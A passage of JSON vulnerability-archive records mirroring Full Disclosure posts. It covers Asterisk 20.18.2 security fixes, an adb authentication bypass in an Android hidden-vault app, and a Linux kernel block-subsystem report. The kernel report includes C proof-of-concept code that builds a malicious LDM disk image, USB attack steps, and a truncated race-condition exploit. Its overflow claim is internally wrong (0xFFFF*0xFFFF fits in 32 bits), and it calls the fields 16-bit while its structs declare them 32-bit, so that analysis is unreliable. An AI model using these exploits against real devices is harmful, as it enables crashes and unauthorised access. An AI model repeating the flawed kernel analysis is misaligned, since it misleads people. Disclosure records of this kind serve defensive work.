  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Security Release",
          "vendor": "Asterisk",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Asterisk Development Team via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Asterisk Development Team would like to announce security release  \nAsterisk 20.18.2.\n\nThe release artifacts are available for immediate download at  \nhttps://github.com/asterisk/asterisk/releases/tag/20.18.2\nand\nhttps://downloads.asterisk.org/pub/telephony/asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: 20.18.2\n\n\n## Change Log for Release asterisk-20.18.2\n\n### Links:\n\n - [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-20.18.2.html)  \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/20.18.1...20.18.2)  \n - [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-20.18.2.tar.gz)  \n - [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk)  \n\n### Summary:\n\n- Commits: 4\n- Commit Authors: 2\n- Issues Resolved: 0\n- Security Advisories Resolved: 4\n  - [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c \nuses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n  - [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper \nrunning as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation\n  - [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk \nembedded web server\u0027s /httpstatus page echos user supplied values(cookie and query string) without sanitization\n  - [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper \nruns as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation \n\n### User Notes:\n\n- #### ast_coredumper: check ast_debug_tools.conf permissions\n  ast_debug_tools.conf must be owned by root and not be\n  writable by other users or groups to be used by ast_coredumper or\n  by ast_logescalator or ast_loggrabber when run as root.\n\n\n### Upgrade Notes:\n\n- #### http.c: Change httpstatus to default disabled and sanitize output.\n  To prevent possible security issues, the `/httpstatus` page\n  served by the internal web server is now disabled by default.  To explicitly\n  enable it, set `enable_status=yes` in http.conf.\n\n\n### Developer Notes:\n\n\n### Commit Authors:\n\n- George Joseph: (2)\n- Mike Bradeen: (2)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n  - !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n  - !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially \nleading to privilege escalation\n  - !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server\u0027s /httpstatus page echos user supplied values(cookie and \nquery string) without sanitization\n  - !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to \npotential privilege escalation \n\n### Commits By Author:\n\n- #### George Joseph (2):\n\n- #### Mike Bradeen (2):\n\n### Commit List:\n\n-  xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n-  ast_coredumper: check ast_debug_tools.conf permissions\n-  http.c: Change httpstatus to default disabled and sanitize output.\n-  ast_coredumper: create gdbinit file with restrictive permissions\n\n### Commit Details:\n\n#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n  Author: George Joseph\n  Date:   2026-01-15\n\n  The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external\n  entities, could allow a potential XXE injection attack.  Replacing it with\n  XML_PARSE_NONET, which prevents network access, is safer.\n\n  Resolves: #GHSA-85x7-54wr-vh42\n\n#### ast_coredumper: check ast_debug_tools.conf permissions\n  Author: Mike Bradeen\n  Date:   2026-01-15\n\n  Prevent ast_coredumper from using ast_debug_tools.conf files that are\n  not owned by root or are writable by other users or groups.\n\n  Prevent ast_logescalator and ast_loggrabber from doing the same if\n  they are run as root.\n\n  Resolves: #GHSA-rvch-3jmx-3jf3\n\n  UserNote: ast_debug_tools.conf must be owned by root and not be\n  writable by other users or groups to be used by ast_coredumper or\n  by ast_logescalator or ast_loggrabber when run as root.\n\n#### http.c: Change httpstatus to default disabled and sanitize output.\n  Author: George Joseph\n  Date:   2026-01-15\n\n  To address potential security issues, the httpstatus page is now disabled\n  by default and the echoed query string and cookie output is html-escaped.\n\n  Resolves: #GHSA-v6hp-wh3r-cwxh\n\n  UpgradeNote: To prevent possible security issues, the `/httpstatus` page\n  served by the internal web server is now disabled by default.  To explicitly\n  enable it, set `enable_status=yes` in http.conf.\n\n#### ast_coredumper: create gdbinit file with restrictive permissions\n  Author: Mike Bradeen\n  Date:   2026-01-15\n\n  Modify gdbinit to use the install command with explicit permissions (-m 600)\n  when creating the .ast_coredumper.gdbinit file. This ensures the file is\n  created with restricted permissions (readable/writable only by the owner)\n  to avoid potential privilege escalation.\n\n  Resolves: #GHSA-xpc6-x892-v83c\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:05:52Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/6"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/6"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/asterisk"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-20.18.2.tar.gz"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-20.18.2.html"
        },
        {
          "url": "https://github.com/asterisk/asterisk"
        },
        {
          "url": "https://github.com/asterisk/asterisk/compare/20.18.1...20.18.2"
        },
        {
          "url": "https://github.com/asterisk/asterisk/releases/tag/20.18.2"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/6"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Asterisk Security Release 20.18.2",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0206",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/6",
            "automated": true,
            "contentSha256": "370a38b08b374de37c97cc9e9010dc925f5c403d07dec7b440bc15160a9fcb4f",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/6",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-05T16:49:03Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-11T11:05:52Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0206"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Vulnerability in",
          "vendor": "Security",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "duykham"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hello Full Disclosure,\n\nI would like to disclose a security vulnerability identified in a\nsmartphone application: *Koller Secret: Real Hidden App*.\n\nThis report is shared in the interest of responsible disclosure and\nimproving overall security awareness.\n\n---\n\n*Summary*\n- Application: Koller Secret: Real Hidden App\n- Package / Bundle ID: com.koller.secret.hidemyphoto\n- Platform: Android\n- Affected Version(s): v.1.0.27 and below\n- Vulnerability Type: Authentication Bypass\n- Severity: High\n- CVE: Pending\n\n---\n\n*Background*\nKoller Secret claims to be the \"first truly hidden app\" that has \"no\nvisible icon nor launcher\" and *can be accessed only by entering an Android\nsecret code* from the user\u0027s dial pad.\n\n---\n\n*Description*\nThe application contains a vulnerability that allows an attacker to *bypass\ntheir secret code mechanism* to access the app\u0027s main UI.\n\nThe root cause appears to be improper access control on an exported Android\ncomponent. The MainActivity is explicitly declared as\n`android:exported=\"true\"` in the Android manifest, making it accessible to\nexternal applications and enabling unauthorized activity invocation.\n\n---\n\n*Technical Details*\n- Relevant components:\n   - MainActivity / Android Manifest\n- Security mechanism affected:\n   - Access control\n\n*Observed behavior:*\nIt was observed that the application\u0027s MainActivity can be launched\nexternally via ADB by explicitly invoking it with the expected intent\naction (ACTION_LAUNCH). When started in this manner, the application\nbypasses the intended secret code verification mechanism and proceeds\ndirectly to the protected interface.\n\n*Expected behavior:*\nThe application should reject any attempts to launch the protected main\ninterface from external sources, including ADB or other applications.\nAccess to the protected interface should only be granted through the\nofficial application flow, which requires successful secret code entry via\nthe dial pad. All other invocation attempts should be denied.\n\n---\n\n*Proof of Concept (PoC)*\n1. Install \"Koller Secret: Real Hidden App\" version 1.0.27 (or earlier) to\nan Android smartphone.\n2. Connect the smartphone to a desktop machine (e.g., via a USB cable) that\nsupports Android Debug Bridge (ADB).\n3. Launch a command line terminal (or Command Prompt in Windows OS)\n4. Run the command:\n\nadb shell am start -n com.koller.secret.hidemyphoto/.MainActivity -a\ncom.koller.secret.hidemyphoto.ACTION_LAUNCH\n\n5. Observe that:\n- The main UI of Koller Secret app is loaded on the smartphone.\n- No secret code entry is required.\n\n**Important note**:\nThe Koller Secret Pro app (with more \"advanced security features\") is also\naffected by the vulnerability, when no lockscreen protection is enabled.\n\n---\n\n*Impact*\nAn attacker exploiting this vulnerability could potentially:\n- access sensitive user data\n- bypass security controls\n- compromise application integrity\n\nSuccessful exploitation of this issue undermine the application\u0027s intended\nsecurity model, potentially allowing unauthorized access to sensitive user\ndata and negatively impacting user trust in the application.\n\n---\n\n*Disclosure Timeline*\n- 2025.11.21 \u2013 Vulnerability discovered\n- 2025.11.25 \u2013 Vendor contacted\n- 2025.11.29 \u2013 Vendor acknowledged\n- 2025.12.29 \u2013 Public disclosure\n\nThe vendor was given reasonable time to respond prior to this disclosure.\nNo malicious exploitation is known at the time of publication.\n\n---\n\n*Mitigation / Recommendation*\nTo mitigate this issue, the affected activity should not be exported unless\nexplicitly required. Setting android:exported=\"false\" for the MainActivity\nwould prevent external invocation via ADB or third-party applications.\n\nIf exporting the activity is necessary, the application should enforce\nstrict access control by validating authorization state at runtime and\nensuring that the secret code verification has been successfully completed\nbefore granting access to protected functionality.\n\nUsers are advised to update to a fixed version once available.\n\n---\n\nDiscovered and reported by:\nduykham\n\n---\n\n*References*\n- Install:\nhttps://play.google.com/store/apps/details?id=com.koller.secret.hidemyphoto\n- Install (Pro):\nhttps://play.google.com/store/apps/details?id=com.koller.secret.hidemyphoto.pro\n- Vendor: https://www.iotrusted.com\n\n---\n\nIf additional information is required, I can be reached privately.\n\nRegards,\nduykham\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:00:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/1"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/1"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://play.google.com/store/apps/details?id=com.koller.secret.hidemyphoto"
        },
        {
          "url": "https://play.google.com/store/apps/details?id=com.koller.secret.hidemyphoto.pro"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.iotrusted.com"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/1"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Security Vulnerability in Koller Secret: Real Hidden App (com.koller.secret.hidemyphoto)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2025-0002",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/1",
            "automated": true,
            "contentSha256": "f81787284493f3e97a5de826b1bc9e40b8479e55ec9a5f7da2ee9c5ee9a0c93c",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/1",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2025-12-29T21:09:00Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-11T11:00:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2025-0002"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Kernel Block",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Agent Spooky\u0027s Fun Parade via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "================================================================================\nFULL DISCLOSURE: Linux Kernel Block Subsystem Vulnerabilities\nDate: 2025-12-29\nAffected: Linux Kernel (all versions with affected code)\n================================================================================\n\n================================================================================\n[1/4] Integer Overflow in LDM Partition Parser - Heap Overflow\n================================================================================\n\nVULNERABILITY SUMMARY\n---------------------\nType: Integer Overflow leading to Heap Buffer Overflow\nFile: block/partitions/ldm.c:1247\nSeverity: HIGH (7.8 CVSS)\nImpact: Local privilege escalation, kernel code execution\nAttack Vector: Malicious disk image / USB device\n\nTECHNICAL DETAILS\n-----------------\nThe LDM (Logical Disk Manager) partition parser contains an integer overflow\nvulnerability in the VBLK fragment reassembly code. When parsing Windows\ndynamic disks, the kernel allocates a buffer using:\n\n    f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n\nWhere both \u0027size\u0027 and \u0027num\u0027 are attacker-controlled 16-bit values read from\nthe disk. When size=0xFFFF and num=0xFFFF, the multiplication overflows:\n\n    0xFFFF * 0xFFFF = 0xFFFE0001 (truncated to 32-bit)\n    sizeof(*f) + 0xFFFE0001 = small allocation\n\nThe kernel allocates a small buffer but later writes up to 64KB of data into\nit, causing a heap buffer overflow.\n\nAFFECTED CODE (block/partitions/ldm.c)\n--------------------------------------\nLine 1247:\n    f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n\nLine 461 (bounds check also vulnerable):\n    if ((vm-\u003evblk_size * vm-\u003evblk_offset) \u003e 65536) {\n\nPROOF OF CONCEPT\n----------------\n/*\n * ldm_overflow_poc.c - LDM Integer Overflow PoC\n * Creates a malicious disk image triggering the overflow\n *\n * Compile: gcc -o ldm_poc ldm_overflow_poc.c\n * Usage: ./ldm_poc output.img \u0026\u0026 losetup /dev/loop0 output.img\n *\n * WARNING: This WILL crash/corrupt your kernel. Use in VM only.\n */\n\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cunistd.h\u003e\n\n/* LDM structures */\n#define LDM_MAGIC \"PRIVHEAD\"\n#define VBLK_MAGIC \"VBLK\"\n\nstruct ldm_privhead {\n    char magic[8];\n    uint32_t version;\n    uint64_t disk_id;\n    char host_id[64];\n    char disk_group_id[64];\n    char disk_group_name[32];\n    uint32_t logical_disk_start;\n    uint32_t logical_disk_size;\n    uint32_t config_start;\n    uint32_t config_size;\n    uint32_t num_tocs;\n    uint32_t toc_size;\n    uint32_t num_configs;\n    uint32_t config_record_size;\n    uint32_t num_logs;\n    uint32_t log_size;\n} __attribute__((packed));\n\nstruct ldm_vmdb {\n    char magic[4];           /* \"VMDB\" */\n    uint32_t last_seq;\n    uint32_t vblk_size;      /* Controlled - use 0xFFFF */\n    uint32_t vblk_offset;    /* Controlled - use 0xFFFF */\n    uint16_t num_vblks;\n    /* ... */\n} __attribute__((packed));\n\nstruct ldm_vblk_head {\n    char magic[4];           /* \"VBLK\" */\n    uint32_t seq;\n    uint32_t group;\n    uint16_t rec_num;        /* Fragment number */\n    uint16_t num_recs;       /* Total fragments - use large value */\n    /* ... */\n} __attribute__((packed));\n\nvoid create_malicious_ldm_image(const char *filename) {\n    int fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644);\n    if (fd \u003c 0) {\n        perror(\"open\");\n        exit(1);\n    }\n\n    /* Create 2MB sparse image */\n    ftruncate(fd, 2 * 1024 * 1024);\n\n    /* Write LDM PRIVHEAD at sector 6 (byte offset 3072) */\n    struct ldm_privhead privhead = {0};\n    memcpy(privhead.magic, LDM_MAGIC, 8);\n    privhead.version = 0x0002000C;  /* Version 2.12 */\n    privhead.config_start = 1;\n    privhead.config_size = 2048;\n\n    lseek(fd, 6 * 512, SEEK_SET);\n    write(fd, \u0026privhead, sizeof(privhead));\n\n    /* Write VMDB with overflow values */\n    struct ldm_vmdb vmdb = {0};\n    memcpy(vmdb.magic, \"VMDB\", 4);\n    vmdb.vblk_size = 0xFFFF;    /* OVERFLOW VALUE */\n    vmdb.vblk_offset = 0xFFFF;  /* OVERFLOW VALUE */\n    vmdb.num_vblks = 100;\n\n    lseek(fd, 8 * 512, SEEK_SET);  /* VMDB location */\n    write(fd, \u0026vmdb, sizeof(vmdb));\n\n    /* Write VBLK fragments that trigger reassembly overflow */\n    struct ldm_vblk_head vblk = {0};\n    memcpy(vblk.magic, VBLK_MAGIC, 4);\n    vblk.seq = 1;\n    vblk.group = 1;\n    vblk.rec_num = 0;\n    vblk.num_recs = 0xFFFF;  /* Large fragment count */\n\n    /* Write multiple fragments to trigger reassembly */\n    for (int i = 0; i \u003c 10; i++) {\n        vblk.rec_num = i;\n        lseek(fd, (16 + i) * 512, SEEK_SET);\n        write(fd, \u0026vblk, sizeof(vblk));\n\n        /* Fill rest of sector with controlled data */\n        char payload[512 - sizeof(vblk)];\n        memset(payload, \u0027A\u0027, sizeof(payload));\n        write(fd, payload, sizeof(payload));\n    }\n\n    close(fd);\n    printf(\"[+] Created malicious LDM image: %s\\n\", filename);\n    printf(\"[!] WARNING: Mounting this image WILL crash the kernel\\n\");\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        fprintf(stderr, \"Usage: %s \u003coutput.img\u003e\\n\", argv[0]);\n        return 1;\n    }\n\n    create_malicious_ldm_image(argv[1]);\n\n    printf(\"\\nReproduction steps:\\n\");\n    printf(\"1. Copy image to target VM\\n\");\n    printf(\"2. sudo losetup /dev/loop0 %s\\n\", argv[1]);\n    printf(\"3. sudo partprobe /dev/loop0  # TRIGGERS CRASH\\n\");\n    printf(\"\\nOr:\\n\");\n    printf(\"1. Write image to USB drive\\n\");\n    printf(\"2. Plug USB into target machine\\n\");\n    printf(\"3. Kernel auto-probes partitions -\u003e CRASH\\n\");\n\n    return 0;\n}\n\nREPRODUCTION STEPS\n------------------\n1. Compile the PoC on any Linux system:\n   $ gcc -o ldm_poc ldm_overflow_poc.c\n\n2. Create the malicious image:\n   $ ./ldm_poc malicious.img\n\n3. In a VM (DO NOT RUN ON PRODUCTION):\n   $ sudo losetup /dev/loop0 malicious.img\n   $ sudo partprobe /dev/loop0\n\n4. Kernel will crash with heap corruption\n\nAlternative (USB attack vector):\n1. Write malicious.img to USB drive:\n   $ sudo dd if=malicious.img of=/dev/sdX bs=1M\n2. Plug USB into target machine\n3. Kernel crashes during automatic partition probing\n\nIMPACT\n------\n- Heap buffer overflow with controlled size and data\n- Kernel code execution possible via heap spray\n- Physical access attack via malicious USB\n- No user interaction required (auto-probe)\n\nSUGGESTED FIX\n-------------\nReplace vulnerable allocation with overflow-safe version:\n\n-   f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n+   if (check_mul_overflow(size, num, \u0026alloc_size) ||\n+       check_add_overflow(alloc_size, sizeof(*f), \u0026alloc_size)) {\n+       ldm_error(\"VBLK allocation overflow\");\n+       return false;\n+   }\n+   f = kmalloc(alloc_size, GFP_KERNEL);\n\n\n================================================================================\n[2/4] Request Queue Reference Counting Race Condition\n================================================================================\n\nVULNERABILITY SUMMARY\n---------------------\nType: TOCTOU Race Condition / Use-After-Free\nFile: block/blk-core.c:278-284\nSeverity: MEDIUM (5.5 CVSS)\nImpact: Kernel crash, potential privilege escalation\nAttack Vector: Local, requires timing\n\nTECHNICAL DETAILS\n-----------------\nThe blk_get_queue() function has a time-of-check to time-of-use (TOCTOU)\nrace condition between checking if the queue is dying and incrementing\nthe reference count:\n\n    bool blk_get_queue(struct request_queue *q)\n    {\n        if (unlikely(blk_queue_dying(q)))   // CHECK\n            return false;\n        refcount_inc(\u0026q-\u003erefs);             // USE - race window!\n        return true;\n    }\n\nBetween the check and the increment, another CPU can complete queue\nteardown, decrement refs to 0, and free the structure. The subsequent\nrefcount_inc() then operates on freed memory.\n\nAFFECTED CODE (block/blk-core.c)\n--------------------------------\nLines 278-284:\n    bool blk_get_queue(struct request_queue *q)\n    {\n        if (unlikely(blk_queue_dying(q)))\n            return false;\n        refcount_inc(\u0026q-\u003erefs);  // Should be refcount_inc_not_zero\n        return true;\n    }\n\nPROOF OF CONCEPT\n----------------\n/*\n * blk_queue_race_poc.c - Request Queue Race Condition PoC\n *\n * This PoC demonstrates the TOCTOU race in blk_get_queue().\n * Requires root and a removable block device (USB/loop).\n *\n * Compile: gcc -o queue_race -lpthread blk_queue_race_poc.c\n * Usage: sudo ./queue_race /dev/loop0\n */\n\n#define _GNU_SOURCE\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003clinux/loop.h\u003e\n#include \u003clinux/fs.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003csched.h\u003e\n\n#define NUM_RACERS 4\n#define ITERATIONS 100000\n\nstatic volatile int race_running = 1;\nstatic char *loop_device;\nstatic char *backing_file;\n\n/* Thread that repeatedly opens the block device */\nvoid *opener_thread(void *arg) {\n    int cpu = (int)(long)arg;\n    cpu_set_t cpuset;\n\n    CPU_ZERO(\u0026cpuset);\n    CPU_SET(cpu % 4, \u0026cpuset);\n    pthread_setaffinity_np(pthread_self(), sizeof(cpuset), \u0026cpuset);\n\n    while (race_running) {\n        int fd = open(loop_device, O_RDONLY | O_NONBLOCK);\n        if (fd \u003e= 0) {\n            /* Perform I/O to exercise queue paths */\n            char buf[512];\n            read(fd, buf, sizeof(buf));\n            close(fd);\n        }\n        /* Tight loop to maximize race window hits */\n    }\n    return NULL;\n}\n\n/* Thread that repeatedly detaches/attaches loop device */\nvoid *detacher_thread(void *arg) {\n    int loop_ctl_fd = open(\"/dev/loop-control\", O_RDWR);\n    int backing_fd = -1;\n\n    while (race_running) {\n        /* Get a free loop device number */\n        int loop_fd = open(loop_device, O_RDWR);\n        if (loop_fd \u003e= 0) {\n            /* Detach - triggers queue dying state */\n            ioctl(loop_fd, LOOP_CLR_FD, 0);\n            close(loop_fd);\n        }\n\n        usleep(100);  /* Small delay */\n\n        /* Reattach */\n        loop_fd = open(loop_device, O_RDWR);\n        backing_fd = open(backing_file, O_RDWR);\n        if (loop_fd \u003e= 0 \u0026\u0026 backing_fd \u003e= 0) {\n            ioctl(loop_fd, LOOP_SET_FD, backing_fd);\n            close(backing_fd);\n            close(loop_fd);\n        }\n\n        usleep(100);\n    }\n\n    close(loop_ctl_fd);\n    return NULL;\n}\n\n/* Thread that submits I/O to exercise blk_get_queue paths */\nvoid *io_submitter_thread(void *arg) {\n    while (race_running) {\n        int fd = open(loop_device, O_RDONLY | O_DIRECT | O_NONBLOCK);\n        if (fd \u003e= 0) {\n            void *buf;\n            posix_memalign(\u0026buf, 512, 4096);\n\n            /* Submit I/O - internally calls blk_get_queue */\n            pread(fd, buf, 4096, 0);\n\n            free(buf);\n            close(fd);\n        }\n    }\n    return NULL;\n}\n\nint main(int argc, char **argv) {\n    pthread_t openers[NUM_RACERS];\n    pthread_t submitters[NUM_RACERS];\n    pthread_t detacher;\n\n    if (argc != 3) {\n        fprintf(stderr, \"Usage: %s \u003cloop_device\u003e \u003cbacking_file\u003e\\n\", argv[0]);\n        fprintf(stderr, \"Example: %s /dev/loop0 /tmp/test.img\\n\", argv[0]);\n        return 1;\n    }\n\n    loop_device = argv[1];\n    backing_file = argv[2];\n\n    /* Create backing file if needed */\n    int bf = open(backing_file, O_RDWR | O_CREAT, 0644);\n    if (bf \u003e= 0) {\n        ftruncate(bf, 10 * 1024 * 1024);  /* 10MB */\n        close(bf);\n    }\n\n    /* Initial loop setup */\n    int loop_fd = open(loop_device, O_RDWR);\n    int back_fd = open(backing_file, O_RDWR);\n    if (loop_fd \u003e= 0 \u0026\u0026 back_fd \u003e= 0) {\n        ioctl(loop_fd, LOOP_SET_FD, back_fd);\n        close(back_fd);\n        close(loop_fd);\n    }\n\n    printf(\"[*] Starting race condition PoC\\n\");\n    printf(\"[*] Target: %s\\n\", loop_device);\n    printf(\"[*] This may take a while or crash the kernel...\\n\");\n\n    /* Start racer threads */\n    for (int i = 0; i \u003c NUM_RACERS; i++) {\n        pthread_create(\u0026openers[i], NULL, opener_thread, (void*)(long)i);\n        pthread_create(\u0026submitters[i], NULL, io_submitter_thread, (void*)(long)i);\n    }\n    pthread_create(\u0026detacher, NULL, detacher_thread, NULL);\n\n    /* Run for a "
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:00:50Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/0"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/0"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/0"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Linux Kernel Block Subsystem Vulnerabilities",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2025-0001",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/0",
            "automated": true,
            "contentSha256": "32de6235455076c016dc8c2f5582de70e96ca488e28216ce0ba889a748b0e4f6",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/0",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2025-12-29T20:20:00Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-11T11:00:50Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2025-0001"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
          "vendor": "TBEA",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
